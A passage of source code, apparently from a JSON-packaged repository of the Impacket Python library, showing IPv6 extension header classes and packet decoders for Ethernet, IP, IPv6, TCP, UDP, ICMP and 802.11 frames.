For N octets of padding, the Opt Data Len\n                # field contains the value N-2, and the Option Data consists\n                # of N-2 zero-valued octets.\n                option_length = buffer[1]\n                option_length += 2\n                \n                self._option_list.append(Option_PADN(option_length))\n\n                remaining_bytes -= option_length\n                buffer = buffer[option_length:]\n    \n    def reset(self):\n        pass\n\n    @classmethod\n    def get_header_type_value(cls):\n        return cls.HEADER_TYPE_VALUE\n    \n    @classmethod\n    def get_extension_headers(cls):\n        header_types = {}\n        for subclass in cls.__subclasses__():\n            subclass_header_types = subclass.get_extension_headers()\n            if not subclass_header_types:\n                # If the subclass did not return anything it means\n                # that it is a leaf subclass, so we take its header\n                # type value\n                header_types[subclass.get_header_type_value()] = subclass\n            else:\n                # Else we extend the list of the obtained types\n                header_types.update(subclass_header_types)\n        return header_types\n    \n    @classmethod\n    def get_decoder(cls):\n        raise RuntimeError(\"Class method %s.get_decoder must be overridden.\" % cls)\n\n    def get_header_type(self):\n        return self.__class__.get_header_type_value()\n\n    def get_headers_field_size(self):\n        return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE\n\n    def get_header_size(self):\n        header_size = self.get_headers_field_size()\n        for option in self._option_list:\n            header_size += option.get_len()\n        return header_size\n\n    def get_next_header(self):\n        return self.get_byte(0)\n\n    def get_header_extension_length(self):\n        return self.get_byte(1)\n\n    def set_next_header(self, next_header):\n        self.set_byte(0, next_header & 0xFF)\n\n    def set_header_extension_length(self, header_extension_length):\n        self.set_byte(1, header_extension_length & 0xFF)\n    \n    def add_option(self, option):\n        self._option_list.append(option)\n    \n    def get_options(self):\n        return self._option_list\n\n    def get_packet(self):\n        data = self.get_data_as_string()\n\n        # Update the header length\n        self.set_header_extension_length(self.get_header_size() // 8 - 1)\n\n        # Build the entire extension header packet\n        header_bytes = self.get_buffer_as_string()\n        for option in self._option_list:\n            header_bytes += option.get_buffer_as_string()\n        \n        if data:\n            return header_bytes + data\n        else:\n            return header_bytes\n\n    def contains(self, aHeader):\n        Header.contains(self, aHeader)\n        if isinstance(aHeader, IP6_Extension_Header):\n            self.set_next_header(aHeader.get_header_type())\n    \n    def get_pseudo_header(self):\n        # The pseudo-header only contains data from the IPv6 header.\n        # So we pass the message to the parent until it reaches it.\n        return self.parent().get_pseudo_header()\n\nclass Extension_Option(PacketBuffer):\n    MAX_OPTION_LEN  = 256\n    OPTION_TYPE_VALUE = -1\n\n    def __init__(self, option_type, size):\n        if size > Extension_Option.MAX_OPTION_LEN:\n            raise ImpactPacketException(\"Option size of % is greater than the maximum of %d\" % (size, Extension_Option.MAX_OPTION_LEN))\n        PacketBuffer.__init__(self, size)\n        self.set_option_type(option_type)\n\n    def __str__(self):\n        option_type = self.get_option_type()\n        option_length = self.get_option_length()\n\n        s  = \"Option Name: \" + str(self.__class__.OPTION_DESCRIPTION) + \"\\n\"\n        s += \"Option Type: \" + str(option_type) + \"\\n\"\n        s += \"Option Length: \" + str(option_length) + \"\\n\"\n        \n        return s\n\n    def set_option_type(self, option_type):\n        self.set_byte(0, option_type)\n\n    def get_option_type(self):\n        return self.get_byte(0)\n\n    def set_option_length(self, length):\n        self.set_byte(1, length)\n\n    def get_option_length(self):\n        return self.get_byte(1)\n\n    def set_data(self, data):\n        self.set_option_length(len(data))\n        option_bytes = self.get_bytes()\n        \n        option_bytes = self.get_bytes()\n        option_bytes[2:2+len(data)] = array.array('B', data)\n        self.set_bytes(option_bytes)\n\n    def get_len(self):\n        return len(self.get_bytes())\n\nclass Option_PAD1(Extension_Option):\n    OPTION_TYPE_VALUE = 0x00   # Pad1 (RFC 2460)\n    OPTION_DESCRIPTION = \"Pad1 Option\"\n\n    def __init__(self):\n        Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1)\n\n    def get_len(self):\n        return 1\n\nclass Option_PADN(Extension_Option):\n    OPTION_TYPE_VALUE = 0x01   # Pad1 (RFC 2460)\n    OPTION_DESCRIPTION = \"PadN Option\"\n\n    def __init__(self, padding_size):\n        if padding_size < 2:\n            raise ImpactPacketException(\"PadN Extension Option must be greater than 2 bytes\")\n\n        Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size)\n        self.set_data(b'\\x00' * (padding_size - 2))\n\nclass Basic_Extension_Header(IP6_Extension_Header):\n    MAX_OPTIONS_LEN = 256 * 8\n    MIN_HEADER_LEN  = 8\n    MAX_HEADER_LEN  = MIN_HEADER_LEN + MAX_OPTIONS_LEN\n\n    def __init__(self, buffer = None):\n        self.padded = False\n        IP6_Extension_Header.__init__(self, buffer)\n\n    def reset(self):\n        self.set_next_header(0)\n        self.set_header_extension_length(0)\n        self.add_padding()\n\n    def add_option(self, option):\n        if self.padded:\n            self._option_list.pop()\n            self.padded = False\n\n        IP6_Extension_Header.add_option(self, option)\n\n        self.add_padding()\n        \n    def add_padding(self):\n        required_octets = 8 - (self.get_header_size() % 8)\n        if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN:\n            raise Exception(\"Not enough space for the padding\")\n\n        # Insert Pad1 or PadN to fill the necessary octets\n        if 0 < required_octets < 8:\n            if required_octets == 1:\n                self.add_option(Option_PAD1())\n            else:\n                self.add_option(Option_PADN(required_octets))\n            self.padded = True\n        else:\n            self.padded = False\n\nclass Hop_By_Hop(Basic_Extension_Header):\n    HEADER_TYPE_VALUE = 0x00\n    HEADER_EXTENSION_DESCRIPTION = \"Hop By Hop Options\"\n    \n    @classmethod\n    def get_decoder(self):\n        from impacket import ImpactDecoder\n        return ImpactDecoder.HopByHopDecoder\n\nclass Destination_Options(Basic_Extension_Header):\n    HEADER_TYPE_VALUE = 0x3c\n    HEADER_EXTENSION_DESCRIPTION = \"Destination Options\"\n    \n    @classmethod\n    def get_decoder(self):\n        from impacket import ImpactDecoder\n        return ImpactDecoder.DestinationOptionsDecoder\n\nclass Routing_Options(IP6_Extension_Header):\n    HEADER_TYPE_VALUE = 0x2b\n    HEADER_EXTENSION_DESCRIPTION = \"Routing Options\"\n    ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8\n    \n    def reset(self):\n        self.set_next_header(0)\n        self.set_header_extension_length(0)\n        self.set_routing_type(0)\n        self.set_segments_left(0)\n\n    def __str__(self):\n        header_type = self.get_header_type()\n        next_header_value = self.get_next_header()\n        header_ext_length = self.get_header_extension_length()\n        routing_type = self.get_routing_type()\n        segments_left = self.get_segments_left()\n\n        s  = \"Header Extension Name: \" + self.__class__.HEADER_EXTENSION_DESCRIPTION + \"\\n\"\n        s += \"Header Type Value: \" + str(header_type) + \"\\n\"\n        s += \"Next Header: \" + str(next_header_value) + \"\\n\"\n        s += \"Header Extension Length: \" + str(header_ext_length) + \"\\n\"\n        s += \"Routing Type: \" + str(routing_type) + \"\\n\"\n        s += \"Segments Left: \" + str(segments_left) + \"\\n\"\n\n        return s\n        \n    @classmethod\n    def get_decoder(self):\n        from . import ImpactDecoder\n        return ImpactDecoder.RoutingOptionsDecoder\n\n    def get_headers_field_size(self):\n        return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE\n\n    def set_routing_type(self, routing_type):\n        self.set_byte(2, routing_type)\n\n    def get_routing_type(self):\n        return self.get_byte(2)\n\n    def set_segments_left(self, segments_left):\n        self.set_byte(3, segments_left)\n\n    def get_segments_left(self):\n        return self.get_byte(3)\n"
  },
  {
    "path": "impacket/ImpactDecoder.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Convenience packet unpackers for various network protocols\n#   implemented in the ImpactPacket module.\n#\n# Author:\n#   Javier Burroni (javier)\n#   Bruce Leidl (brl)\n#   Aureliano Calvo\n#\n\nimport array\n\nfrom impacket import ICMP6\nfrom impacket import IP6\nfrom impacket import IP6_Extension_Headers\nfrom impacket import ImpactPacket\nfrom impacket import LOG\nfrom impacket import dot11\nfrom impacket import wps, eap, dhcp\nfrom impacket.cdp import CDP\n\n\"\"\"Classes to convert from raw packets into a hierarchy of\nImpactPacket derived objects.\n\nThe protocol of the outermost layer must be known in advance, and the\npacket must be fed to the corresponding decoder. From there it will\ntry to decode the raw data into a hierarchy of ImpactPacket derived\nobjects; if a layer's protocol is unknown, all the remaining data will\nbe wrapped into a ImpactPacket.Data object.\n\"\"\"\n\nclass Decoder:\n    __decoded_protocol = None\n    def decode(self, aBuffer):\n        pass\n        \n    def set_decoded_protocol(self, protocol):\n        self.__decoded_protocol = protocol\n        \n    def get_protocol(self, aprotocol):\n        protocol = self.__decoded_protocol\n        while protocol:\n            if protocol.__class__ == aprotocol:\n                break\n            protocol=protocol.child()\n        return protocol\n    \n    def __str__(self):\n        protocol = self.__decoded_protocol\n        i=0\n        out=''\n        while protocol:\n            tabline=' '*i+'+-'+str(protocol.__class__)\n            out+=\"%s\"%tabline+'\\n'\n            protocol=protocol.child()\n            i+=1\n        return out\n\nclass EthDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        e = ImpactPacket.Ethernet(aBuffer)\n        self.set_decoded_protocol( e )\n        off = e.get_header_size()\n        if e.get_ether_type() == ImpactPacket.IP.ethertype:\n            self.ip_decoder = IPDecoder()\n            packet = self.ip_decoder.decode(aBuffer[off:])\n        elif e.get_ether_type() == IP6.IP6.ethertype:\n            self.ip6_decoder = IP6Decoder()\n            packet = self.ip6_decoder.decode(aBuffer[off:])\n        elif e.get_ether_type() == ImpactPacket.ARP.ethertype:\n            self.arp_decoder = ARPDecoder()\n            packet = self.arp_decoder.decode(aBuffer[off:])\n        elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION:\n            self.eapol_decoder = EAPOLDecoder()\n            packet = self.eapol_decoder.decode(aBuffer[off:])\n        # LLC ?\n        elif e.get_ether_type() < 1500:\n            self.llc_decoder = LLCDecoder()\n            packet = self.llc_decoder.decode(aBuffer[off:])\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:])\n\n        e.contains(packet)\n        return e\n\n# Linux \"cooked\" capture encapsulation.\n# Used, for instance, for packets returned by the \"any\" interface.\nclass LinuxSLLDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        e = ImpactPacket.LinuxSLL(aBuffer)\n        self.set_decoded_protocol( e )\n        off = 16\n        if e.get_ether_type() == ImpactPacket.IP.ethertype:\n            self.ip_decoder = IPDecoder()\n            packet = self.ip_decoder.decode(aBuffer[off:])\n        elif e.get_ether_type() == ImpactPacket.ARP.ethertype:\n            self.arp_decoder = ARPDecoder()\n            packet = self.arp_decoder.decode(aBuffer[off:])\n        elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION:\n            self.eapol_decoder = EAPOLDecoder()\n            packet = self.eapol_decoder.decode(aBuffer[off:])\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:])\n\n        e.contains(packet)\n        return e\n\nclass IPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        i = ImpactPacket.IP(aBuffer)\n        self.set_decoded_protocol ( i )\n        off = i.get_header_size()\n        end = i.get_ip_len()\n        # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len\n        if end == 0:\n            LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size')\n            i.set_ip_len(len(aBuffer))\n            end = i.get_ip_len()\n\n        if i.get_ip_p() == ImpactPacket.UDP.protocol:\n            self.udp_decoder = UDPDecoder()\n            packet = self.udp_decoder.decode(aBuffer[off:end])\n        elif i.get_ip_p() == ImpactPacket.TCP.protocol:\n            self.tcp_decoder = TCPDecoder()\n            packet = self.tcp_decoder.decode(aBuffer[off:end])\n        elif i.get_ip_p() == ImpactPacket.ICMP.protocol:\n            self.icmp_decoder = ICMPDecoder()\n            packet = self.icmp_decoder.decode(aBuffer[off:end])\n        elif i.get_ip_p() == ImpactPacket.IGMP.protocol:\n            self.igmp_decoder = IGMPDecoder()\n            packet = self.igmp_decoder.decode(aBuffer[off:end])\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:end])\n        i.contains(packet)\n        return i\n\nclass IP6MultiProtocolDecoder(Decoder):\n    def __init__(self, a_protocol_id):\n        self.protocol_id = a_protocol_id\n\n    def decode(self, buffer):\n        if self.protocol_id == ImpactPacket.UDP.protocol:\n            self.udp_decoder = UDPDecoder()\n            packet = self.udp_decoder.decode(buffer)\n        elif self.protocol_id == ImpactPacket.TCP.protocol:\n            self.tcp_decoder = TCPDecoder()\n            packet = self.tcp_decoder.decode(buffer)\n        elif self.protocol_id == ICMP6.ICMP6.protocol:\n            self.icmp6_decoder = ICMP6Decoder()\n            packet = self.icmp6_decoder.decode(buffer)\n        else:\n            # IPv6 Extension Headers lookup\n            extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers()\n            if buffer and self.protocol_id in extension_headers:\n                extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder()\n                self.extension_header_decoder = extension_header_decoder_class()\n                packet = self.extension_header_decoder.decode(buffer)\n            else:\n                self.data_decoder = DataDecoder()\n                packet = self.data_decoder.decode(buffer)\n\n        return packet\n\nclass IP6Decoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, buffer):\n        ip6_packet = IP6.IP6(buffer)\n        self.set_decoded_protocol(ip6_packet)\n        start_pos = ip6_packet.get_header_size() \n        end_pos = ip6_packet.get_payload_length() + start_pos\n        contained_protocol = ip6_packet.get_next_header()\n        \n        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)\n        child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos])\n        \n        ip6_packet.contains(child_packet)\n        return ip6_packet\n\nclass HopByHopDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, buffer):\n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer)\n        self.set_decoded_protocol(hop_by_hop)\n        start_pos = hop_by_hop.get_header_size()\n        contained_protocol = hop_by_hop.get_next_header()\n\n        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)\n        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])\n        \n        hop_by_hop.contains(child_packet)\n        return hop_by_hop\n\nclass DestinationOptionsDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, buffer):\n        destination_options = IP6_Extension_Headers.Destination_Options(buffer)\n        self.set_decoded_protocol(destination_options)\n        start_pos = destination_options.get_header_size()\n        contained_protocol = destination_options.get_next_header()\n\n        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)\n        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])\n        \n        destination_options.contains(child_packet)\n        return destination_options\n\nclass RoutingOptionsDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, buffer):\n        routing_options = IP6_Extension_Headers.Routing_Options(buffer)\n        self.set_decoded_protocol(routing_options)\n        start_pos = routing_options.get_header_size()\n        contained_protocol = routing_options.get_next_header()\n\n        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)\n        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])\n        \n        routing_options.contains(child_packet)\n        return routing_options\n\nclass ICMP6Decoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, buffer):\n        icmp6_packet = ICMP6.ICMP6(buffer)\n        self.set_decoded_protocol(icmp6_packet)\n        start_pos = icmp6_packet.get_header_size() \n                \n        self.data_decoder = DataDecoder()\n        child_packet = self.data_decoder.decode(buffer[start_pos:])\n        icmp6_packet.contains(child_packet)\n        return icmp6_packet\n\n\nclass ARPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        arp = ImpactPacket.ARP(aBuffer)\n        self.set_decoded_protocol( arp )\n        off = arp.get_header_size()\n        self.data_decoder = DataDecoder()\n        packet = self.data_decoder.decode(aBuffer[off:])\n        arp.contains(packet)\n        return arp\n\nclass UDPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        u = ImpactPacket.UDP(aBuffer)\n        self.set_decoded_protocol( u )\n        off = u.get_header_size()\n        self.data_decoder = DataDecoder()\n        packet = self.data_decoder.decode(aBuffer[off:])\n        u.contains(packet)\n        return u\n\nclass TCPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        t = ImpactPacket.TCP(aBuffer)\n        self.set_decoded_protocol( t )\n        off = t.get_header_size()\n        self.data_decoder = DataDecoder()\n        packet = self.data_decoder.decode(aBuffer[off:])\n        t.contains(packet)\n        return t\n\nclass IGMPDecoder(Decoder):\n    def __init__(self):\n        pass\n    def decode(self, aBuffer):\n        ig = ImpactPacket.IGMP(aBuffer)\n        off = ig.get_header_size()\n        self.data_decoder = DataDecoder()\n        packet = self.data_decoder.decode(aBuffer[off:])\n        ig.contains(packet)\n        return ig\n\n\nclass IPDecoderForICMP(Decoder):\n    \"\"\"This class was added to parse the IP header of ICMP unreachables packets\n    If you use the \"standard\" IPDecoder, it might crash (see bug #4870) ImpactPacket.py\n    because the TCP header inside the IP header is incomplete\"\"\"    \n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        i = ImpactPacket.IP(aBuffer)\n        self.set_decoded_protocol( i )\n        off = i.get_header_size()\n        if i.get_ip_p() == ImpactPacket.UDP.protocol:\n            self.udp_decoder = UDPDecoder()\n            packet = self.udp_decoder.decode(aBuffer[off:])\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:])\n        i.contains(packet)\n        return i\n\nclass ICMPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        ic = ImpactPacket.ICMP(aBuffer)\n        self.set_decoded_protocol( ic )\n        off = ic.get_header_size()\n        if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH:\n            self.ip_decoder = IPDecoderForICMP()\n            packet = self.ip_decoder.decode(aBuffer[off:])\n        else:\n            self.data_decoder = DataDecoder()\n            packet = self.data_decoder.decode(aBuffer[off:])\n        ic.contains(packet)\n        return ic\n\nclass DataDecoder(Decoder):\n    def decode(self, aBuffer):\n        d = ImpactPacket.Data(aBuffer)\n        self.set_decoded_protocol( d )\n        return d\n\nclass BaseDot11Decoder(Decoder):\n    def __init__(self, key_manager=None):\n        self.set_key_manager(key_manager)\n        \n    def set_key_manager(self, key_manager):\n        self.key_manager = key_manager\n        \n    def find_key(self, bssid):\n        try:\n            key = self.key_manager.get_key(bssid)\n        except:\n            return False\n        return key\n\nclass RadioTapDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        rt = dot11.RadioTap(aBuffer)\n        self.set_decoded_protocol( rt )\n        \n        self.do11_decoder = Dot11Decoder()\n        self.do11_decoder.set_key_manager(self.key_manager)\n        flags=rt.get_flags()\n        if flags is not None:\n            fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END\n            self.do11_decoder.FCS_at_end(fcs)\n            \n        packet = self.do11_decoder.decode(rt.get_body_as_string())\n    \n        rt.contains(packet)\n        return rt\n\nclass Dot11Decoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n        self.__FCS_at_end = True\n        \n    def FCS_at_end(self, fcs_at_end=True):\n        self.__FCS_at_end=not not fcs_at_end \n        \n    def decode(self, aBuffer):\n        d = dot11.Dot11(aBuffer, self.__FCS_at_end)\n        self.set_decoded_protocol( d )\n        \n        type = d.get_type()\n        if type == dot11.Dot11Types.DOT11_TYPE_CONTROL:\n            dot11_control_decoder = Dot11ControlDecoder()\n            packet = dot11_control_decoder.decode(d.body_string)\n        elif type == dot11.Dot11Types.DOT11_TYPE_DATA:\n            dot11_data_decoder = Dot11DataDecoder(self.key_manager)\n            \n            dot11_data_decoder.set_dot11_hdr(d)\n            \n            packet = dot11_data_decoder.decode(d.body_string)\n        elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT:\n            dot11_management_decoder = Dot11ManagementDecoder()\n            dot11_management_decoder.set_subtype(d.get_subtype())\n            packet = dot11_management_decoder.decode(d.body_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(d.body_string)\n\n        d.contains(packet)\n        return d\n\nclass Dot11ControlDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n        self.__FCS_at_end = True\n\n    def FCS_at_end(self, fcs_at_end=True):\n        self.__FCS_at_end=not not fcs_at_end \n    \n    def decode(self, aBuffer):\n        d = dot11.Dot11(aBuffer, self.__FCS_at_end)\n        self.set_decoded_protocol(d)\n        \n        self.subtype = d.get_subtype()\n        if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND:\n            self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder()\n            packet = self.ctrl_cts_decoder.decode(d.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT:\n            self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder()\n            packet = self.ctrl_ack_decoder.decode(d.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND:\n            self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder()\n            packet = self.ctrl_rts_decoder.decode(d.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL:\n            self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder()\n            packet = self.ctrl_pspoll_decoder.decode(d.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END:\n            self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder()\n            packet = self.ctrl_cfend_decoder.decode(d.body_string)\n        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK:\n            self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder()\n            packet = self.ctrl_cfendcfack_decoder.decode(d.body_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(d.body_string)\n        \n        d.contains(packet)\n        return d\n\nclass Dot11ControlFrameCTSDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFrameCTS(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\n\nclass Dot11ControlFrameACKDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFrameACK(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\n\nclass Dot11ControlFrameRTSDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFrameRTS(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\n\nclass Dot11ControlFramePSPollDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFramePSPoll(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\n\nclass Dot11ControlFrameCFEndDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFrameCFEnd(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\nclass Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n    \n    def decode(self, aBuffer):\n        p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer)\n        self.set_decoded_protocol(p)\n        return p\n\nclass Dot11DataDecoder(BaseDot11Decoder):\n    def __init__(self, key_manager):\n        BaseDot11Decoder.__init__(self, key_manager)\n        \n    def set_dot11_hdr(self, dot11_obj):\n        self.dot11 = dot11_obj\n        \n    def decode(self, aBuffer):\n        if self.dot11.get_fromDS() and self.dot11.get_toDS():\n            if self.dot11.is_QoS_frame():\n                p = dot11.Dot11DataAddr4QoSFrame(aBuffer)\n            else:\n                p = dot11.Dot11DataAddr4Frame(aBuffer)\n        elif self.dot11.is_QoS_frame():\n            p = dot11.Dot11DataQoSFrame(aBuffer)\n        else:\n            p = dot11.Dot11DataFrame(aBuffer)\n        self.set_decoded_protocol( p )\n        \n        if not self.dot11.get_protectedFrame():\n            self.llc_decoder = LLCDecoder()\n            packet = self.llc_decoder.decode(p.body_string)\n        else:\n            if not self.dot11.get_fromDS() and self.dot11.get_toDS():\n                bssid = p.get_address1()\n            elif self.dot11.get_fromDS() and not self.dot11.get_toDS():\n                bssid = p.get_address2()\n            elif not self.dot11.get_fromDS() and not self.dot11.get_toDS():\n                bssid = p.get_address3()\n            else:\n                # WDS, this is the RA\n                bssid = p.get_address1()\n                \n            wep_decoder = Dot11WEPDecoder(self.key_manager)\n            wep_decoder.set_bssid(bssid)\n            packet = wep_decoder.decode(p.body_string)\n            if packet is None:\n                wpa_decoder = Dot11WPADecoder()\n                packet = wpa_decoder.decode(p.body_string)\n                if packet is None:\n                    wpa2_decoder = Dot11WPA2Decoder()\n                    packet = wpa2_decoder.decode(p.body_string)\n                    if packet is None:\n                        data_decoder = DataDecoder()\n                        packet = data_decoder.decode(p.body_string)\n        \n        p.contains(packet)\n        return p\n      \nclass Dot11WEPDecoder(BaseDot11Decoder):\n    def __init__(self, key_manager):\n        BaseDot11Decoder.__init__(self, key_manager)\n        self.bssid = None\n        \n    def set_bssid(self, bssid):\n        self.bssid = bssid\n        \n    def decode(self, aBuffer):\n        wep = dot11.Dot11WEP(aBuffer)\n        self.set_decoded_protocol( wep )\n        \n        if wep.is_WEP() is False:\n            return None\n        \n        key = self.find_key(self.bssid)\n        if key:\n            decoded_string=wep.get_decrypted_data(key)\n            \n            wep_data = Dot11WEPDataDecoder()\n            packet = wep_data.decode(decoded_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(wep.body_string)\n        \n        wep.contains(packet)\n        \n        return wep\n\nclass Dot11WEPDataDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        wep_data = dot11.Dot11WEPData(aBuffer)\n\n        if not wep_data.check_icv():\n            # TODO: Do something when the icv is not correct\n            pass\n\n        self.set_decoded_protocol( wep_data )\n\n        llc_decoder = LLCDecoder()\n        packet = llc_decoder.decode(wep_data.body_string)\n\n        wep_data.contains(packet)\n\n        return wep_data\n\n\nclass Dot11WPADecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer, key=None):\n        wpa = dot11.Dot11WPA(aBuffer)\n        self.set_decoded_protocol( wpa )\n\n        if wpa.is_WPA() is False:\n            return None\n\n        if key:\n            decoded_string=wpa.get_decrypted_data()\n\n            wpa_data = Dot11WPADataDecoder()\n            packet = wpa_data.decode(decoded_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(wpa.body_string)\n\n        wpa.contains(packet)\n\n        return wpa\n\nclass Dot11WPADataDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        wpa_data = dot11.Dot11WPAData(aBuffer)\n        self.set_decoded_protocol( wpa_data )\n\n        llc_decoder = LLCDecoder()\n        packet = self.llc_decoder.decode(wpa_data.body_string)\n\n        wpa_data.contains(packet)\n\n        return wpa_data\n\nclass Dot11WPA2Decoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer, key=None):\n        wpa2 = dot11.Dot11WPA2(aBuffer)\n        self.set_decoded_protocol( wpa2 )\n\n        if wpa2.is_WPA2() is False:\n            return None\n\n        if key:\n            decoded_string=wpa2.get_decrypted_data()\n\n            wpa2_data = Dot11WPA2DataDecoder()\n            packet = wpa2_data.decode(decoded_string)\n        else:\n            data_decoder = DataDecoder()\n            packet = data_decoder.decode(wpa2.body_string)\n\n            wpa2.contains(packet)\n\n            return wpa2\n\nclass Dot11WPA2DataDecoder(BaseDot11Decoder):\n    def __init__(self):\n        BaseDot11Decoder.__init__(self)\n\n    def decode(self, aBuffer):\n        wpa2_data = dot11.Dot11WPA2Data(aBuffer)\n        self.set_decoded_protocol( wpa2_data )\n\n        llc_decoder = LLCDecoder()\n        packet = self.llc_decoder.decode(wpa2_data.body_string)\n\n        wpa2_data.contains(packet)\n\n        return wpa2_data\n\nclass LLCDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        d = dot11.LLC(aBuffer)\n        self.set_decoded_protocol( d )\n\n        if d.get_DSAP()==dot11.SAPTypes.SNAP:\n            if d.get_SSAP()==dot11.SAPTypes.SNAP:\n                if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES:\n                    snap_decoder = SNAPDecoder()\n                    packet = snap_decoder.decode(d.body_string)\n                    d.contains(packet)\n                    return d\n\n        # Only SNAP is implemented\n        data_decoder = DataDecoder()\n        packet = data_decoder.decode(d.body_string)\n        d.contains(packet)\n        return d\n\nclass SNAPDecoder(Decoder):\n    def __init__(self):\n        pass\n\n    def decode(self, aBuffer):\n        s = dot11.SNAP(aBuffer)\n        self.set_decoded_protocol( s )\n        if  s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type:\n            dec = 